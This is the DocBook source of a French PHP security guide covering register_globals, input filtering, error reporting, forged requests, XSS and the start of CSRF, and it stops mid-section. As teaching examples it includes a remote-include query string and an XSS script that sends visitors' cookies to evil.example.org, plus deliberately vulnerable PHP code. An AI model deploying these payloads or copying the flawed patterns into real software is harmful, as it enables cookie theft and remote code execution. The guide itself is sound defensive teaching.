<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE book SYSTEM "../dblite/dblite_htmlents.dtd">

<book id="PHPSEC-WORKBOOK">
<title>Guide de Sécurité PHP</title>

<chapter id="OVERVIEW">
<title>Vue d'ensemble</title>

<sect1 id="WHAT-IS-SECURITY">
<title>Qu'est-ce que la sécurité?</title>
<itemizedlist>
    <listitem>
	<para>La sécurité est une mesure, pas une
	caractéristique.</para>
	<para>Il est regrettable que tant de projets de développement
	logiciel réduisent la sécurité à une simple exigence à
	satisfaire.  Est-ce que c'est sécurisé? Cette question est aussi
	subjective que de demander si quelque chose est super.</para>
    </listitem>
    <listitem>
	<para>La sécurité doit être en équilibre avec les
	dépenses.</para>
	<para>Il est facile et relativement peu cher de fournir un
	niveau de sécurité suffisant pour la plupart des applications.
	Cependant, si vos besoins en sécurité sont très exigeants, parce
	que vous protégez des informations de grande valeur, alors vous
	devez atteindre un niveau de sécurité plus élevé, à un coût
	supérieur. Cette dépense doit être inclue dans le budget du
	projet.</para>
    </listitem>
    <listitem>
	<para>La sécurité doit être en équilibre avec
	l'utilisabilité</para>
	<para>Il n'est pas rare que les étapes prises pour améliorer la
	sécurité d'une application web diminue également son
	utilisabilité. Les mots de passe, timeouts de sessions et
	contrôles d'accès créent autant d'obstacles aux utilisateurs
	légitimes. Parfois, ceux-ci sont nécessaires pour fournir un
	niveau adéquat de sécurité, mais il n'existe pas de solution
	qui convienne à toutes les applications. Il est sage de penser à
	vos utilisateurs légitimes lorsque vous implémentez des mesures
	de sécurité.</para>
    </listitem>
    <listitem>
        <para>La sécurité doit faire partie de la conception.</para>
	<para>Si vous concevez votre application sans penser à la
	sécurité, vous êtes condamnés à constamment faire face
	à de nouvelles vulnérabilités de sécurité. Une programmation 
	prudente ne peut compenser une mauvaise conception.</para>
    </listitem>
</itemizedlist>
</sect1>

<sect1 id="BASIC-STEPS">
<title>Etapes de base</title>
<itemizedlist>
    <listitem>
	<para>Pensez aux utilisations illégitimes de votre
	application.</para>
        <para>Une conception sécurisée n'est qu'une partie de la
	solution. Pendant le développement, quand le code est rédigé, il
	est important de penser aux utilisations illégitimes de votre
	application. Souvent, on se concentre à faire fonctionner 
	l'application selon ce qu'on a prévu. Bien qu'il soit nécessaire 
	de fournir une application qui fonctionne correctement, ceci
	n'aide en rien pour rendre l'application plus sécurisée.</para>
    </listitem>
    <listitem>
        <para>Instruisez-vous vous-même.</para>
        <para>Le fait que vous êtes ici constitue une preuve que
	vous vous intéressez à la sécurité et, aussi banal que
	cela puisse paraître, c'est l'étape la plus importante. De
	nombreuses références sont disponibles sur le web et sous forme
	imprimée, et de nombreuses ressources sont listées dans la
	bibliothèque du Consortium de Sécurité PHP (PHP Security
	Consortium's Library), sur
        <systemitem role="url">http://phpsec.org/library/</systemitem>.</para>
    </listitem>
    <listitem>
        <para>Si vous ne faites qu'une chose, FILTREZ TOUTES LES DONNEES
	EXTERNES.</para>
        <para>Le filtrage des données est la pierre angulaire de la
	sécurité des applications web, quel que soit le langage et la
	plate-forme. En initialisant vos variables et en filtrant toutes
	les données qui proviennent de sources externes, vous gérerez
	une majorité de vulnérabilités avec un minimum d'effort. Une
	approche par liste blanche (whitelist) est préférable à une
	approche par liste noire (blacklist). Cela signifie que vous
	devriez considérer toutes les données comme invalides, à moins
	qu'il soit prouvé qu'elles sont valides (plutôt que de
	considérer toutes les données comme valides, à moins qu'il soit
	prouvé qu'elles sont invalides).</para>
    </listitem>
</itemizedlist>
</sect1>

<sect1 id="REGISTER-GLOBALS">
<title>Register Globals</title>
<para>La directive <literal>register_globals</literal> est désactivée
par défaut dans les versions 4.2.0 et supérieures de PHP. Même si cela
ne représente pas une vulnérabilité de sécurité, il s'agit quand même
d'un risque de vue sécurité. Dès lors, vous devriez toujours développer
et déployer vos applications avec la directive
<literal>register_globals</literal> désactivée.</para>
<para>Pourquoi cela constitue-t-il un risque de sécurité ? Il est
difficile de fournir des bons exemples pour tout le monde, parce
que cela requiert souvent une situation unique pour mettre le risque en
évidence. Cependant, l'exemple le plus courant est celui que l'on
trouve dans le manuel PHP:</para>
<programlisting>
<![CDATA[<?php 

if (authenticated_user()) 
{ 
    $authorized = true; 
} 

if ($authorized) 
{ 
    include '/highly/sensitive/data.php'; 
} 

?>]]>
</programlisting>
<para>Avec la directive <literal>register_globals</literal> activée,
cette page peut être appelée avec <literal>?authorized=1</literal> dans
la query string, pour contourner le contrôle d'accès prévu. Bien
entendu, cette vulnérabilité particulière est la faute du développeur,
et pas celle de <literal>register_globals</literal>, mais ceci indique le
risque accru que pose cette directive. Sans elle, les variables globales
ordinaires (telles que <literal>$authorized</literal> dans l'exemple) ne
sont pas affectées par les données soumises par le client. Une meilleure
méthode consiste à initialiser toutes les variables et à développer
avec la directive <literal>error_reporting</literal> positionnée sur 
<literal>E_ALL</literal>, de sorte que l'utilisation d'une variable non
initialisée ne passe pas inaperçue lors du développement.</para>
<para>Un autre exemple qui illustre le fait que
<literal>register_globals</literal> puisse poser problème est
l'utilisation suivante de <literal>include</literal> avec un chemin
dynamique:</para>
<programlisting>
<![CDATA[<?php

include "$path/script.php";

?>]]>
</programlisting>
<para>Avec <literal>register_globals</literal> activée, cette page peut
être demandée avec
<literal>?path=http%3A%2F%2Fevil.example.org%2F%3F</literal> dans la
query string, de sorte à ce que cette exemple devienne ceci:
</para>
<programlisting>
<![CDATA[<?php

include 'http://evil.example.org/?/script.php';

?>]]>
</programlisting>
<para>Si la directive <literal>allow_url_fopen</literal> est activée (ce
qui est le cas par défaut, même dans
<literal>php.ini-recommended</literal>), ceci inclura la sortie de
<literal>http://evil.example.org/</literal> exactement comme s'il
s'agissait d'un fichier local. C'est une vulnérabilité de sécurité
majeure, qui a été découverte dans quelques applications open source
populaires.</para>
<para>Initialiser <literal>$path</literal> peut atténuer ce risque
particulier, mais c'est également le cas en désactivant
<literal>register_globals</literal>. Tandis qu'une erreur d'un
développeur puisse aboutir à une variable non initialisée, désactiver 
<literal>register_globals</literal> est un changement de configuration
global que l'on a nettement moins de chances de laisser passer.</para>
<para>L'aspect pratique est merveilleux, et ceux d'entre nous qui
ont dû gérer les données de formulaire à la main dans le
passé apprécient. Cependant, utiliser les tableaux super-globaux
<literal>$_POST</literal> et <literal>$_GET</literal> est encore très
pratique, et activer <literal>register_globals</literal> ne vaut pas 
le risque supplémentaire. Bien que je sois complètement en désaccord
avec les arguments qui assimilent <literal>register_globals</literal> à
une sécurité médiocre, je recommande qu'elle soit désactivée.</para>
<para>En plus de tout ceci, désactiver
<literal>register_globals</literal> encourage les développeurs à être
attentifs à l'origine des données, ce qui constitue une caractéristique
importante de tout développeur soucieux de sécurité.</para>
</sect1>

<sect1 id="DATA-FILTERING">
<title>Filtrage des données</title>
<para>Comme spécifié précédemment, le filtrage des données est la pierre
angulaire de la sécurité des applications web, indépendamment du langage
de programmation et de la plate-forme. Cela implique les mécanismes par
lesquels vous déterminez la validité des données qui entrent et sortent
de l'application. Une bonne conception de logiciel peut aider le
développeur à:</para>
<itemizedlist>
    <listitem>
        <para>S'assurer que le filtrage des données ne peut être
	contourné,</para>
    </listitem>
    <listitem>
        <para>S'assurer que des données invalides ne peuvent être
	confondues avec des données valides, et</para>
    </listitem>
    <listitem>
        <para>Identifier l'origine des données.</para>
    </listitem>
</itemizedlist>
<para>Les avis divergent concernant la manière de s'assurer que l'on ne
puisse pas contourner le filtrage de données, mais il existe deux
approches générales qui semblent les plus répandues, et les deux
fournissent un niveau suffisant de confiance.</para>
<sect2 id="THE-DISPATCH-METHOD">
<title>La méthode de répartition (Dispatch Method)</title>
<para>Une première méthode consiste à n'avoir qu'un seul script PHP 
directement accessible via le web (via son URL). Tout le reste étant des
modules inclus par <literal>include</literal> ou
<literal>require</literal>, selon les besoins. Cette méthode requiert
en général qu'une variable <literal>GET</literal> soit passée avec 
chaque URL, pour identifier la tâche. Cette variable
<literal>GET</literal> peut être considérée comme le remplacement du nom
du script, qui aurait été utilisé dans une conception plus simple. Par
exemple:</para>
<programlisting>
<![CDATA[http://example.org/dispatch.php?task=print_form]]>
</programlisting>
<para>Le fichier <literal>dispatch.php</literal> est le seul fichier 
sous la racine web (document root). Cela permet à un développeur de
réaliser deux choses importantes:</para>
<itemizedlist>
    <listitem>
        <para>Implémenter certaines mesures globales de sécurité, au
	sommet de <literal>dispatch.php</literal> et de s'assurer que
	ces mesures ne puissent pas être contournées.</para>
    </listitem>
    <listitem>
        <para>Voir aisément que le filtrage des données a lieu
	lorsque nécessaire, en se concentrant sur le contrôle de flux
	d'une tâche spécifique.</para>
    </listitem>
</itemizedlist>
<para>Pour expliquer cela plus en détails, considérez cet exemple
de script <literal>dispatch.php</literal>:</para>
<programlisting>
<![CDATA[<?php

/* Global security measures */

switch ($_GET['task'])
{
    case 'print_form':
        include '/inc/presentation/form.inc';
        break;

    case 'process_form':
        $form_valid = false;
        include '/inc/logic/process.inc';
        if ($form_valid)
        {
            include '/inc/presentation/end.inc';
        }
        else
        {
            include '/inc/presentation/form.inc';
        }
        break;

    default:
        include '/inc/presentation/index.inc';
        break;
}

?>]]>
</programlisting>
<para>S'il s'agit du seul script PHP public, alors il devrait être clair
que la conception de cette application assure qu'aucune mesure globale
de sécurité prise au sommet du fichier ne peut être contournée. Elle
permet également au développeur de visualiser aisément le contrôle du
flux d'une tâche spécifique. Par exemple, au lieu de jeter un oeil
sur une myriade de code, on peut facilement voir que
<literal>end.inc</literal> n'est affiché à l'utilisateur que quand 
<literal>$form_valid</literal> a la valeur <literal>true</literal>. Et
comme il est initialisé à la valeur <literal>false</literal> juste avant
que le fichier <literal>process.inc</literal> ne soit inclus, il est clair
que la logique à l'intérieur de <literal>process.inc</literal> doit lui
affecter la valeur <literal>true</literal>, sans quoi le formulaire est
affiché à nouveau (vraisemblablement avec un message d'erreur
approprié).</para>
<note><para>Si vous utilisez un fichier d'index de répertoire tel que 
<literal>index.php</literal> (au lieu de
<literal>dispatch.php</literal>), vous pouvez employer des URLs telles
que <literal>http://example.org/?task=print_form</literal>.</para>
<para>Vous pouvez également employer la directive Apache
<literal>ForceType</literal> ou <literal>mod_rewrite</literal>
pour fournir des URLs telles que 
<literal>http://example.org/app/print-form</literal>.</para></note>
</sect2>
<sect2 id="THE-INCLUDE-METHOD">
<title>La méthode d'inclusion (Include Method)</title>
<para>Une autre approche consiste à disposer d'un seul module
responsable de toutes les mesures de sécurité. Ce module est inclus au
sommet (ou très près du sommet) de tous les scripts PHP publics
(accessibles via une URL). Considérez l'exemple suivant de script 
<literal>security.inc</literal> :</para>
<programlisting>
<![CDATA[<?php

switch ($_POST['form'])
{
    case 'login':
        $allowed = array();
        $allowed[] = 'form';
        $allowed[] = 'username';
        $allowed[] = 'password';

        $sent = array_keys($_POST);

        if ($allowed == $sent)
        {
            include '/inc/logic/process.inc';
        }

        break;
}

?>]]>
</programlisting>
<para>Dans cet exemple, on attend que chaque formulaire soumis ait une
variable de formulaire nommée <literal>form</literal>, qui l'identifie
de manière unique. Et <literal>security.inc</literal> comporte un cas
spécifique pour gérer le filtrage des données de ce formulaire
particulier. Un exemple de formulaire HTML qui remplit ces conditions
est le suivant: </para>
<programlisting>
<![CDATA[<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Username:
<input type="text" name="username" /></p>
<p>Password:
<input type="password" name="password" /></p>
<input type="submit" />
</form>]]>
</programlisting>
<para>On utilise un tableau appelé <literal>$allowed</literal> pour
identifier exactement quelles sont les variables de formulaire
autorisées, et cette liste doit être identique pour que le formulaire
soit traité. Le contrôle de flux est précisé ailleurs, et 
<literal>process.inc</literal> est l'endroit endroit où se produit
vraiment le filtrage des données.</para>
<note><para>Un bon moyen de s'assurer que
<literal>security.inc</literal> est toujours inclus au sommet de tous
les scripts PHP est d'utiliser la directive
<literal>auto_prepend_file</literal>.</para></note> </sect2>
<sect2 id="FILTERING-EXAMPLES">
<title>Exemples de filtrage</title>
<para>Il est important de choisir une approche par liste blanche
(whitelist) pour votre filtrage de données. Même s'il est impossible
de donner des exemples pour tous les types de données de formulaire que
vous pourriez rencontrer, quelques exemples peuvent aider à illustrer
une approche saine.</para>
<para>L'exemple suivant valide une adresse mail:</para>
<programlisting>
<![CDATA[<?php

$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email'])) 
{ 
    $clean['email'] = $_POST['email']; 
}

?>]]>
</programlisting>
<para>L'exemple suivant assure que <literal>$_POST['color']</literal>
est 
<literal>red</literal>, <literal>green</literal>, ou
<literal>blue</literal>:</para>
<programlisting>
<![CDATA[<?php

$clean = array();

switch ($_POST['color'])
{
    case 'red':
    case 'green':
    case 'blue':
        $clean['color'] = $_POST['color'];
        break;
}

?>]]>
</programlisting>
<para>L'exemple suivant assure que <literal>$_POST['num']</literal> est
un nombre entier:</para>
<programlisting>
<![CDATA[<?php

$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>]]>
</programlisting>
<para>L'exemple suivant assure que <literal>$_POST['num']</literal> est
un nombre réel (à virgule flottante):</para>
<programlisting>
<![CDATA[<?php

$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>]]>
</programlisting>
</sect2>
<sect2 id="NAMING-CONVENTIONS">
<title>Conventions de nommage</title>
<para>Chacun des exemples précédent utilisait un tableau nommé 
<literal>$clean</literal>. Ceci illustre une bonne méthode, 
susceptible d'aider les développeurs à identifier si une donnée est
potentiellement entachée (tainted). Vous ne devriez jamais prendre
l'habitude de valider des données et de les laisser dans
<literal>$_POST</literal> ou <literal>$_GET</literal>, parce qu'il est
important que les développeurs se méfient toujours des données contenues
dans ces tableaux super-globaux.</para>
<para>De plus, une utilisation plus libre de <literal>$clean</literal>
permet de considérer tout le reste comme étant entaché (tainted), ce qui
ressemble plus à une approche par liste blanche (whitelist), et offre
donc un niveau accru de sécurité.</para>
<para>Si vous stockez des données dans <literal>$clean</literal>
uniquement après les avoir validées, le seul risque encouru en cas de
non validation de quelque chose est que vous pourriez référencer un
élément de tableau qui n'existe pas, plutôt qu'une donnée
potentiellement entachée (tainted).</para>
</sect2>
<sect2 id="TIMING">
<title>Timing</title>
<para>Une fois qu'un script PHP commence son traitement, l'entièreté de
la requête HTTP a été reçue. Ce qui signifie que l'utilisateur n'a plus
l'opportunité d'envoyer de données, et par conséquent, aucune donnée ne
peut être injectée dans votre script (même si 
<literal>register_globals</literal> est activée). C'est pourquoi
initialiser vos variables est une si bonne habitude.
</para>
</sect2>
</sect1>

<sect1 id="ERROR-REPORTING">
<title>Signalement des erreurs</title>
<para>Dans les versions de PHP antérieures à PHP 5, sorti le 13 juillet
2004, le signalement des erreurs était plutôt simpliste. Mis à part une
programmation prudente, il se basse essentiellement sur quelques
directives spécifiques de configuration PHP:</para>
<itemizedlist>
    <listitem>
        <para><literal>error_reporting</literal></para>
        <para>Cette directive définit le niveau désiré de signalement
	des erreurs. On suggère fortement que vous la définissiez à
	<literal>E_ALL</literal>, à la fois pour le développement et
	pour la production.</para>
    </listitem>
    <listitem>
        <para><literal>display_errors</literal></para>
        <para>Cette directive détermine si les erreurs doivent être
	affichées à l'écran (inclues dans la sortie). Vous devriez
	développer avec cette directive à <literal>On</literal>, de
	sorte que vous puissiez être prévenu des erreurs lors du
	développement. Et vous devriez la définir à
	<literal>Off</literal> en production, de manière à ce que les
	erreurs soient cachées aux utilisateurs (et aux attaquants
	potentiels).</para>
    </listitem>
    <listitem>
        <para><literal>log_errors</literal></para>
        <para>Cette directive détermine si les erreurs doivent être
	envoyées dans un fichier de log. Bien que ceci soulève des
	soucis de performance, il est souhaitable que les
	erreurs soient les plus rares possible. Si loguer les erreurs
	révèle un stress disque à cause des entrées (I/O) soutenues,
	vous avez sans doute des soucis plus importants que la
	performance de votre application. Vous devriez définir cette
	directive à <literal>On</literal> en production.</para>
    </listitem>
    <listitem>
        <para><literal>error_log</literal></para>
        <para>Cette directive indique l'emplacement du fichier de log
	dans lequel sont écrites les erreurs. Assurez-vous que le
	serveur web possède des permissions en écriture sur le fichier
	spécifié.</para>
    </listitem>
</itemizedlist>
<para>Définir <literal>error_reporting</literal> à 
<literal>E_ALL</literal> vous aidera à forcer l'initialisation des
variables, parce qu'une référence à une variable non définie génère
alors un avertissement (notice).</para>
<note><para>Chacune de ces directives peut être définie grâce à
<literal>ini_set()</literal>, au cas où vous n'auriez pas accès au
fichier <literal>php.ini</literal> ou aux autres méthodes qui
définissent ces directives.</para>
<para>Une bonne référence à toutes les fonctions de gestion et de
signalement des erreurs, c'est le manuel de PHP:</para>
<para><systemitem role="url">http://www.php.net/manual/en/ref.errorfunc.php</systemitem></para>
<para>PHP 5 inclut une gestion des exceptions. Pour plus d'informations,
voir:</para>
<para><systemitem role="url">http://www.php.net/manual/language.exceptions.php</systemitem></para></note>
</sect1>
</chapter>

<chapter id="FORM-PROCESSING">
<title>Traitement des formulaires</title>

<sect1 id="SPOOFED-FORM-SUBMISSIONS">
<title>Falsification des soumission de formulaire</title>
<para>Pour appréhender la nécessite de filtrer les données, considérez le
formulaire suivant, hypothétiquement situé à 
<literal>http://example.org/form.html</literal>:</para>
<programlisting>
<![CDATA[<form action="/process.php" method="POST">
<select name="color">
    <option value="red">red</option>
    <option value="green">green</option>
    <option value="blue">blue</option>
</select>
<input type="submit" />
</form>]]>
</programlisting>
<para>Imaginez un attaquant potentiel qui enregistre ce formulaire HTML
et le modifie de la manière suivante:</para>
<programlisting>
<![CDATA[<form action="http://example.org/process.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>]]>
</programlisting>
<para>Ce nouveau formulaire peut désormais se situer partout (un serveur
web n'est même pas nécessaire, puisqu'il suffit simplement d'être
lisible par un navigateur web). Et le formulaire peut être manipulé à
volonté. L'URL absolue employée dans l'attribut action provoque l'envoi
de la requête <literal>POST</literal> au même emplacement.</para>
<para>Ceci rend très facile l'élimination toute restriction
côté client, qu'il s'agisse de restrictions du formulaire HTML ou de
scripts côté client dont le but est de procéder à un filtrage
rudimentaire des données. Dans cet exemple particulier, 
<literal>$_POST['color']</literal> n'a pas forcément les valeurs
<literal>red</literal>, <literal>green</literal>, ou
<literal>blue</literal>. A l'aide d'une procédure très simple, n'importe
quel utilisateur peut créer un formulaire pratique pour soumettre
n'importe quelle donnée à l'URL qui traite le formulaire.</para>
</sect1>

<sect1 id="SPOOFED-HTTP-REQUESTS">
<title>Requêtes HTTP falsifiées</title>
<para>Une approche plus puissante, bien que moins pratique, est de
falsifier une requête HTTP. Dans le cas du formulaire d'exemple que nous
venons de présenter, où l'utilisateur choisit une couleur, la requête
HTTP qui résulte ressemble à ceci (en supposant le choix de la couleur 
rouge, <literal>red</literal>):</para>
<programlisting>
<![CDATA[POST /process.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

color=red]]>
</programlisting>
<para>L'utilitaire <literal>telnet</literal> peut être employé pour
procéder à certains tests ad hoc. L'exemple suivant crée une simple
requête <literal>GET</literal> pour
<literal>http://www.php.net/</literal>:</para>
<programlisting>
<![CDATA[$ telnet www.php.net 80
Trying 64.246.30.37...
Connected to rs1.php.net.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.php.net

HTTP/1.1 200 OK
Date: Wed, 21 May 2004 12:34:56 GMT
Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev
X-Powered-By: PHP/4.3.3-dev
Last-Modified: Wed, 21 May 2004 12:34:56 GMT
Content-language: en
Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

2083
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">
...]]>
</programlisting>
<para>Bien sûr, vous pouvez créer votre propre client, plutôt que
d'entrer des requêtes manuellement avec <literal>telnet</literal>.
L'exemple suivant montre comment exécuter la même requête en utilisant
PHP:</para>
<programlisting>
<![CDATA[<?php

$http_response = '';

$fp = fsockopen('www.php.net', 80);
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: www.php.net\r\n\r\n");

while (!feof($fp))
{
    $http_response .= fgets($fp, 128);
}

fclose($fp);

echo nl2br(htmlentities($http_response));

?>]]>
</programlisting>
<para>Envoyer vos propres requêtes HTTP vous fournit une flexibilité
totale, et ceci montre pourquoi le filtrage des données côté server est
si indispensable. Sans lui, vous n'avez aucune garantie au sujet
d'aucune donnée provenant d'une source externe.</para>
</sect1>

<sect1 id="CROSS-SITE-SCRIPTING">
<title>Cross-Site Scripting</title>
<para>Les médias ont contribué à faire des cross-site scripting (XSS)
un terme familier, et cette attention est méritée. C'est l'une des 
vulnérabilités de sécurité les plus communes dans les applications web,
et de nombreuses applications populaires opensource en PHP souffrent 
constamment de vulnérabilités XSS.</para>
<para>Les attaques XSS ont les caractéristiques suivantes:</para>
<itemizedlist>
    <listitem>
        <para>Exploiter la confiance qu'a un utilisateur envers un site
	particulier.</para>
        <para>Les utilisateurs n'ont pas forcément un haut degré de
	confiance envers tous les sites web, mais le navigateur
	bien. Par exemple, quand le navigateur envoie des cookies dans
	une requête, il fait confiance au site web. Les utilisateurs
	peuvent aussi avoir des habitudes de surf différentes, ou même
	différents niveaux de sécurité définis dans leur navigateur,
	selon le site qu'ils visitent.</para>
    </listitem>
    <listitem>
        <para>Elles impliquent généralement les sites qui affichent des
	données externes.</para>
        <para>Les applications à risque plus élevé incluent les forums,
	clients web mail, et tout ce qui affiche du contenu à publication 
	multiple (syndicated), comme les flux RSS. </para>
    </listitem>
    <listitem>
        <para>Elles injectent du contenu choisi par l'attaquant.</para>
        <para>Lorsque les données externes ne sont pas correctement
	filtrées, vous pouvez afficher du contenu choisi par
	l'attaquant. C'est aussi dangereux que de laisser l'attaquant
	éditer vos codes source sur le serveur.</para>
    </listitem>
</itemizedlist>
<para>Comment ceci peut-il se produire? Si vous affichez du contenu qui
provient d'une source extérieure sans le filtrer de manière adéquate,
vous êtes vulnérables aux XSS. Les données étrangères ne sont pas
limitées aux données provenant du client. Elles comportent également les
mails affichés par un client web mail, une bannière de publicité, un
blog à publication multiple (syndicated), etc. Toute information qui
n'est pas déjà présente dans le code provient d'une source externe, ce
qui signifie que la plupart des données sont des données externes.</para>
<para>Considérez l'exemple suivant d'un tableau d'affichage (message
board) simpliste:</para>
<programlisting>
<![CDATA[<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "{$_GET['message']}<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>]]>
</programlisting>
<para>Ce tableau d'affichage ajoute <literal>&lt;br
/&gt;</literal> à la fin de tout ce que l'utilisateur entre, l'ajoute à
la fin d'un fichier, puis affiche le contenu actuel du fichier.</para>
<para>Imaginez qu'un utilisateur entre le message suivant:</para>
<programlisting>
<![CDATA[<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
</script>]]>
</programlisting>
<para>Le prochain utilisateur qui visite ce tableau d'affichage en ayant
JavaScript activé est redirigé vers <literal>evil.example.org</literal>,
et tous les cookies associés au site actuel sont inclus dans la query
string de l'URL.</para>
<para>Bien sûr, un véritable attaquant ne serait pas limité par mon
manque de créativité ou d'expertise en Javascript. N'hésitez pas à me
suggérer des exemples meilleurs (plus malveillants?)</para>
<para>Que pouvez-vous faire? Il est en fait très facile de se défendre
contre les XSS. Là où les choses se compliquent, c'est quand vous
souhaitez autoriser du HTML ou des scripts côté client provenant de
sources externes (comme d'autres utilisateurs) et que vous finissez par
les afficher. Mais même ces situations ne sont pas terriblement
difficiles à gérer. Les meilleures methodes suivantes peuvent atténuer
le risque de XSS:</para>
<itemizedlist>
    <listitem>
        <para>Filtrez toutes les données externes.</para>
        <para>Comme mentionné plus haut, le filtrage des données est la
	méthode la plus importante que vous puissiez adopter. En
	validant toutes les données externes entrant et sortant de votre
	application, vous réduirez la majorité des soucis liés aux
	XSS</para>
    </listitem>
    <listitem>
        <para>Utilisez les fonctions existantes.</para>
        <para>Laissez PHP vous aider pour votre logique de filtrage. Des
	fonctions comme <literal>htmlentities()</literal>,
	<literal>strip_tags()</literal>, et
	<literal>utf8_decode()</literal> peuvent s'avérer utiles.
	Essayez d'éviter de reproduire quelque chose qu'une fonction
	PHP fait déjà. Non seulement la fonction PHP est bien plus
	rapide, mais en plus elle est mieux testée et moins susceptible
	de contenir des erreurs aboutissant à des vulnérabilités.</para>
    </listitem>
    <listitem>
        <para>Utilisez une approche par liste blanche (whitelist).</para>
        <para>Supposez qu'une donnée est invalide, jusqu'à ce qu'on
	puisse prouver qu'elle est valide. Ceci implique de
	vérifier la longueur, et de ne permettre que des
	caractères valides. Par exemple, si l'utilisateur
	fournit un nom de famille, vous pourriez commencer par n'autoriser
	que les caractères alphabétiques et les espaces. Péchez par
	prudence. Même si les noms de famille comme 
        <literal>O'Reilly</literal> et <literal>Berners-Lee</literal>
	seront considérés comme invalides, on peut facilement corriger
	cela en ajoutant deux caractères supplémentaires à la liste
	blanche (whitelist). Il vaut mieux refuser des données valides
	que d'accepter des données malveillantes.</para>
    </listitem>
    <listitem>
        <para>Utilisez une convention de nommage stricte.</para>
        <para>Comme spécifié plus haut, une convention de nommage aide
	les développeurs à distinguer facilement les données filtrées
	des données non filtrées. Il est important de rendre les choses
	les plus simples et les plus claires possible pour les
	développeurs.  Un manque de clarté produit de la confusion, et
	ceci engendre des vulnérabilités</para>
    </listitem>
</itemizedlist>
<para>Une version bien plus sûre du tableau d'affichage (message board)
simple mentionné prédécemment est la suivante:</para>
<programlisting>
<![CDATA[<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $message = htmlentities($_GET['message']);

    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "$message<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>]]>
</programlisting>
<para>Grâce au simple ajout de <literal>htmlentities()</literal>, le
tableau d'affichage est maintenant bien plus sûr. Il ne
devrait pas être considéré comme complètement sécurisé, mais c'est
probablement l'étape la plus facile que vous puissiez entreprendre pour
fournir un niveau de protection adéquat. Bien sûr, il est vivement
conseillé que vous suiviez toutes les meilleures méthodes dont on a
discuté.</para>
</sect1>

<sect1 id="CROSS-SITE-REQUEST-FORGERIES">
<title>Cross-Site Request Forgeries</title>

<para>Malgré les similitudes de nom, les cross-site request forgeries
(CSRF) sont pratiquement à l'opposé du style d'attaque. Tandis que les 
attaques XSS exploitent la confiance qu'un utilisateur possède envers
un site, les attaques CSRF exploitent la confiance qu'un site web
possède envers un utilisateur. Les attaques CSRF sont plus dangereuses,
moins populaires (ce qui signifie moins de ressources pour les 
développeurs), et il est plus difficile de se défendre contre elles 
que contre les attaques XSS.</para>
<para>Les attaques CSRF ont les caractéristiques suivantes:</para>
<itemizedlist>
    <listitem>
        <para>Elles exploitent la confiance qu'un site possède envers un
	utilisateur particulier.</para>
        <para>De nombreux utilisateurs peuvent ne pas être de confiance,
	mais il est courant dans les applications web d'offrir certains
	privilèges aux utilisateurs une fois logués dans l'application.
	Les utilisateurs disposant de ces privilèges plus élevés sont
	des victimes potentielles (des complices sans le savoir, en
	réalité).</para>
    </listitem>
    <listitem>
	<para>Elles impliquent généralement des sites web qui se basent
	sur l'identité des utilisateurs. L'identité d'un utilisateur
	pèse typiquement très lourd. Avec un mécanisme de gestion de
	session sécurisé, ce qui représente un challenge en soi, les
	attaques CSRF peuvent cependant toujours réussir. En réalité,
	c'est dans ce type d'environnement que les attaques CSRF sont
	les plus puissantes.</para>
    </listitem>
    <listitem>
	<para>Elles exécutent des requêtes HTTP choisies par
	l'attaquant.</para>
        <para>Les attaques CSRF incluent toutes les attaques qui
	impliquent un attaquant qui falsifie une requête HTTP d'un autre
	utilisateur (essentiellement, ruser pour qu'un utilisateur
	envoie une requête HTTP pour le compte de l'attaquant). Il
	existe plusieurs techniques différentes qui peut être utilisées
	pour accomplir cela, et je vais montrer quelques exemples d'une
	technique spécifique.</para>
    </listitem>
</itemizedlist>
<para>Puisque les attaques CSRF impliquent la falsification de
requêtes HTTP, il est important de commencer par acquérir un niveau
élémentaire de familiarité avec HTTP</para>
<para>Un navigateur web est un client HTTP, et un serveur web est un
serveur HTTP. Les clients initient une transaction en envoyant une
requête, et le serveur termine la transaction en envoyant une réponse.
Une requête HTTP typique ressemble à ceci:</para>
<programlisting>
<![CDATA[GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*]]>
</programlisting>
<para>La première ligne est appelée ligne de requête. Elle contient la
méthode de requête, l'URL que demandée (une URL relative est
utilisée), et la version de HTTP. Les autres lignes sont des en-têtes
HTTP (headers), et chaque nom d'en-tête HTTP est suivie de deux points
(:), un espace, et de sa valeur.</para>
<para>Accéder à ces informations via PHP vous est peut-être familier.
Par exemple, on peut utiliser le code suivant pour reconstruire cette
requête HTTP particulière dans une chaîne de caractères (string):</para>
<programlisting>
<![CDATA[<?php

$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";
$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";
$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";

?>]]>
</programlisting>
<para>Voici un exemple de réponse à la requête précédente:</para>
